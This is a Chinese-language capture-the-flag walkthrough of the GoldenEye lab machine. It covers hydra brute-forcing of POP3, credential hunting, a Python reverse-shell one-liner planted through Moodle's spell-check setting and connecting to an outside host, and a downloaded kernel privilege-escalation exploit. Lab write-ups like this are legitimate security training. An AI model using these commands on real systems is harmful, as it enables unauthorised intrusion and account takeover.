GoldenEye靶机渗透

获取 IP 地址

扫描端口

目录扫描

访问 80 端口发现有给提示，拼接/sev-home/路径，会出现登录弹窗

查看网页源代码，发现有 js 文件

查看 js 文件发现账号密码

密码采用 html 编码，进行解码

账号：boris

密码：InvincibleHack3r

登陆成功，根据提示，利用 pop3

POP3，全称为Post Office Protocol - Version 3，即邮局协议版本3，它是TCP/IP协议族中的一员，由RFC1939定义。本协议主要用于支持使用客户端远程管理在服务器上的电子邮件。提供了SSL加密的POP3协议被称为POP3S。

使用 hydra 工具进行爆破 pop3 natalya 和 boris 两个账号的密码

echo  -e 'natalya\nboris' > dayu.txt 
hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.81.130 -s 55007 pop3

natalya ：bird

boris：secret1!

nc 登录 pop3 查看两个用户的邮件

boris
user boris
pass secret1!
list   //查看有几封邮件和每个邮件的长度
retr 1   //依次查看邮件内容
retr 2
retr 3

第三封邮件可以看到 flag 在 root 用户目录下

natalya
nc 192.168.74.145 55007
user natalya
pass bird
list   //查看有几封邮件和每个邮件的长度
retr 1   //依次查看邮件内容
retr 2

第二封邮件可以看到第三个用户的账号密码和需要配置 host 文件内容

username: xenia
password: RCP90rulez!
severnaya-station.com/gnocertdir

windows 操作系统 host文件地址：C:\Windows\System32\drivers\etc

Linux 操作系统 host文件地址：/etc/host

访问severnaya-station.com/gnocertdir

点击登录

登录xenia 用户

看到另一个用户的名字 Dr Doak doak

使用 doack 用户爆破 pop3 密码

nc 连接 pop3 查看 dr_doak 用户收到的邮件

user doak
pass goat
list
retr 1

查看邮件得到 dr_doak 账号密码

username: dr_doak
password: 4England!

登录 dr_doak 用户，在 My home 左侧 for james 目录中看到了 s3cret.txt 文件

下载 s3cret.txt 文件得到了一个路径

拼接路径得到了一张图片，把图片下载下来

http://severnaya-station.com/dir007key/for-007.jpg

使用 exiftool 工具： Exiftool是一款功能强大的开源工具，主要用于读取、写入和编辑图像、音频和视频文件的元数据。 工具使用：

• exiftool -h 文件名：显示Exiftool的所有可用命令和选项，以及可以使用的参数。
• exiftool 文件名：显示指定文件的详细Exif信息。

解出来一串 base64 编码的字符

eFdpbnRlcjE5OTV4IQ==

base64 解码

xWinter1995x!

使用刚刚得到的密码登录 admin 用户

查看指纹信息，网站使用 Moodle 框架

根据历史漏洞 getshell

找到一个编辑器，是Goole Spell的， 在系统路径这块如果在编辑中使用了拼写检查就会触发到 aspell 的路径，也就是反弹shell

所以如下图所示将 spell engine 改为 PSpellshell

在服务器这块找到一个很明显的提示是反弹shell的语句，默认就有的 ，改为 python 反弹 shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.91.129",2233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

kali 监听 2233 端口

再次检查拼写发现页面卡住

成功反弹shell

执行tty，因为获得的权限无框架：执行
python -c 'import pty; pty.spawn("/bin/bash")'     ---将shell进行tty

根据上面提示 flag 在 root 用户下，所以需要提权

uname -a 获取靶机操作系统信息，根据历史漏洞进行提权

Google 搜索 Linux ubuntu 3.13.0-32 exploit，下载 exp

修改 37292.c 文件 143 行 gcc 为 cc 保存退出

在攻击脚本目录下开启 http 服务

利用 wget 获取攻击脚本

利用 c 语言的 cc 代码编译.c 文件，并赋予 exp 文件执行权限，运行 exp

cc -o exp 37292.c
chmod +x exp
./exp

提权成功，获取到 flag 的文件路径

拼接路径http://severnaya-station.com/006-final/xvf7-flag/